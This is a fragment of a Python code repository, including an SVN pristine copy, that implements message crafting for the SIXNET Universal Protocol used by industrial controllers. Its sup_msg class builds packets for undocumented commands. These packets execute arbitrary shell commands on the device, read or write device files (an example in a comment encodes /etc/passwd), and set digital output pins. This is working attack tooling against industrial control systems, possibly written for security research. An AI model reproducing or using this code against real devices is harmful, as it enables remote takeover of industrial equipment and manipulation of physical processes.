90 | self.length = (len(self.dst) + len(self.src) + len(self.session) + len(self.sequence) + len(self.command) + len(self.data) + len(self.crc))/2
91 |
92 |
93 | def create(self):
94 | """Formats properties into a message to send over. Returns a string"""
95 | msg_str = self.lead
96 | #if the length is less than 16 then the hex value will be one character (0-f). This needs a leading zero so add it
97 | if(self.length < 16):
98 | msg_str += hex(self.length).replace("x","")
99 | else:
100 | msg_str += hex(self.length).replace("0x","")
101 | msg_str += self.dst + self.src + self.session + self.sequence + self.command + self.data + self.crc
102 | return msg_str
103 |
104 | def breakdown(self, message):
105 | """Breaks down the message to its component fields"""
106 | self.lead = message[0:2]
107 |
108 | self.length = int(message[2:4],16) #convert the hex value stored as a string to an int
109 | self.dst = message[4:6]
110 | self.src = message[6:8]
111 | self.session = message[8:10]
112 | self.sequence = message[10:12]
113 | self.command = message[12:14] #self.commands.get(int(message[12:14],16), str.format("{0} (unrecognized)", message[12:14]))
114 | self.data = message[14:(len(message)-4)] #convert the hex value stored as a string to an int
115 | self.crc = message[-4:] #last 2 bytes
116 |
117 | def print_all(self):
118 | """Prints all the fields of the message"""
119 | print("Lead: " + self.lead)
120 | print("Length: " + str(self.length))
121 | if(self.dst == "ff"):
122 | print("Destination station: ANY")
123 | else:
124 | print("Destination station: " + self.dst)
125 | print("Source Station: " + self.src)
126 | print("Session: " + self.session)
127 | print("Sequence: " + self.sequence)
128 | print("Command: " + self.commands.get(int(self.command), str.format("{0} (unrecognized)", self.command)))
129 | print("Data: " + self.data)
130 | print("CRC: " + self.crc)
--------------------------------------------------------------------------------
/.svn/pristine/f2/f241babaa65bc0272b161fdfb030f0f8465fa5b9.svn-base:
--------------------------------------------------------------------------------
1 | import common_lib
2 |
3 |
4 | class sup_msg(object):
5 | """SIXNET Universal Protocol message
6 | #field order/size (bytes)
7 | # lead 1
8 | # length 1
9 | # dest 1 or 2
10 | # src 1 or 2
11 | # session 1
12 | # sequence 1
13 | # command 1
14 | # data variable
15 | # crc 2"""
16 | #TODO:
17 |
18 | commands = {
19 | 0 : "NOP", 1 : "ACK", 2 : "NAK", 3 : "VERS",
20 | 4 : "NIO", 10 : "GETD", 11 : "GETB", 12 : "GETA",
21 | 13 : "GETS", 14 : "PUTD", 15 : "PUTB", 16 : "PUTA",
22 | 17 : "SETD", 18 : "CLRD", 24 : "SCLOCK", 25 : "GCLOCK",
23 | 26 : "FILEOP", 32 : "IOXCHG", 208 : "Execute command"
24 | }
25 |
26 | #message for a NOP command (DOES NOT WORK)
27 | NOP = "7d07fff0c00000d70f".decode("hex")
28 |
29 | def __init__(self, message = None):
30 | if(not message is None):
31 | #if there is a message in the constructor then build a sup_msg from it
32 | self.message = message
33 | self.breakdown(message)
34 |
35 | def shell_command(self, shell_command):
36 | #7d15fff0c0001a00012f6574632f706173737764001d0f
37 | """Creates a sup message from a given command and data"""
38 |
39 | self.generic_msg()
40 |
41 | self.command = "d0"
42 | self.data = "1e0100" + shell_command.encode("hex") + "00"
43 |
44 | self.calc_length()
45 |
46 | def file_command(self, file_path, r_w, file_size=None):
47 | #7d:14:ff:f0:c0:00:1a:00:03:2f:65:74:63:2f:68:6f:73:74:73:00:1d:0f
48 | """Creates a sup message to retrieve a file from the device. file_size is only required if writing to the device"""
49 | self.generic_msg()
50 |
51 | self.command = "1a" #another undocumented command
52 | if r_w == "r":
53 | self.data = "0003" + file_path.encode("hex") + "00"
54 | elif r_w == "w":
55 | self.data = "0303" + common_lib.int_to_hex_string(file_size).zfill(8) + file_path.encode("hex") + "00"
56 | else:
57 | raise ValueError('r_w is not an \'r\' or a \'w\'')
58 |
59 | self.calc_length()
60 |
61 | def query_inputs(self):
62 | """Finds the types and quantities of IO on the device"""
63 | #BAH DAMN PROBABLY NOT WHAT IM LOOKING FOR. spits out stuff that doesn't follow the documentation
64 | self.generic_msg()
65 | self.command = "04" #NIO
66 | self.data = "04" #input
67 |
68 | self.calc_length()
69 |
70 | def gets(self):
71 | #OK SERIOUSLY IS THIS SOME KIND OF CRUEL JOKE?
72 | self.generic_msg()
73 | self.command = "0d" #gets
74 | self.data = "000000" #input type from element 0
75 |
76 | self.calc_length()
77 |
78 | def get_digital(self, io = False, port_num = None):
79 | """If io is true then creates a sup message to return the value on the digital inputs. Otherwise returns the value on the digital outputs"""
80 | #Need to make this work better
81 | self.generic_msg()
82 |
83 | self.command = "0a" #GETD
84 | if(io):
85 | self.data = "00" #digital input
86 | else:
87 | self.data = "01" #digital output
88 | self.data += "0000" #start pin
89 | self.data += "0400" #num of pins to check
90 |
91 | self.calc_length()
92 |
93 | def set_digital(self, io = False, port_num = None):
94 | """sets the spcified pin to some value"""
95 | #Need to make this work better
96 | self.generic_msg()
97 |
98 | self.command = "0e" #PUTD
99 | if(io):
100 | self.data = "00" #digital input
101 | else:
102 | self.data = "01" #digital output
103 | self.data += "0500" #start pin
104 | self.data += "0100" #num of pins to set
105 | self.data += "1f" #set to all on I guess
106 |
107 | self.calc_length()
108 |
109 | def write_data(self, contents, check, start_index):
110 | """Creates a sup message to retrieve a file from the device. file_size is only required if writing to the device"""
111 | self.generic_msg()
112 |
113 | self.command = "1a" #another undocumented command
114 | self.data = "02" + check + common_lib.int_to_hex_string(start_index).zfill(8) + common_lib.int_to_hex_string(len(contents)).zfill(4)
115 | self.data += contents.encode("hex")
116 |
117 | self.calc_length()
118 |
119 | def generic_msg(self):
120 | """Creates a generic SUP message. Fill in the command and data yourself"""
121 | self.lead = "}".encode("hex")
122 | self.dst = "ff"
123 | self.src = "f0"
124 | self.session = "c0"
125 | self.sequence = "00"
126 | self.crc = "1d0f"
127 |
128 | def calc_length(self):
129 | """Calculates the length field for the message"""
130 | self.length = (len(self.dst) + len(self.src) + len(self.session) + len(self.sequence) + len(self.command) + len(self.data) + len(self.crc))/2
131 |
132 | def create(self):
133 | """Formats properties into a message to send over. Returns a string"""
134 | msg_str = self.lead
135 | #if the length is less than 16 then the hex value will be one character (0-f). This needs a leading zero so add it
136 | if(self.length < 16):
137 | msg_str += hex(self.length).replace("x","")
138 | else:
139 | msg_str += hex(self.length).replace("0x","")
140 | msg_str += self.dst + self.src + self.session + self.sequence + self.command + self.data + self.crc
141 | return msg_str
142 |
143 | def breakdown(self, message):
144 | """Breaks down the message to its component fields"""
145 | self.lead = message[0:2]
146 |
147 | self.length = int(message[2:4],16) #convert the hex value stored as a string to an int
148 | self.dst = message[4:6]
149 | self.src = message[6:8]
150 | self.session = message[8:10]
151 | self.sequence = message[10:12]
152 | self.command = message[12:14] #self.commands.get(int(message[12:14],16), str.format("{0} (unrecognized)", message[12:14]))
153 | self.data = message[14:(len(message)-4)] #convert the hex value stored as a string to an int
154 | self.crc = message[-4:] #last 2 bytes
155 |
156 | def print_all(self):
157 | """Prints all the fields of the message"""
158 | print("Lead: " + self.lead)
159 | print("Length: " + str(self.length))
160 | if(self.dst == "ff"):
161 | print("Destination station: ANY")
162 | else:
163 | print("Destination station: " + self.dst)
164 | print("Source Station: " + self.src)
165 | print("Session: " + self.session)
166 | print("Sequence: " + self.sequence)
167 | print("Command: " + self.commands.get(int(self.command), str.format("{0} (unrecognized)", self.command)))
168 | print("Data: " + self.data)
169 | print("CRC: " + self.crc)
--------------------------------------------------------------------------------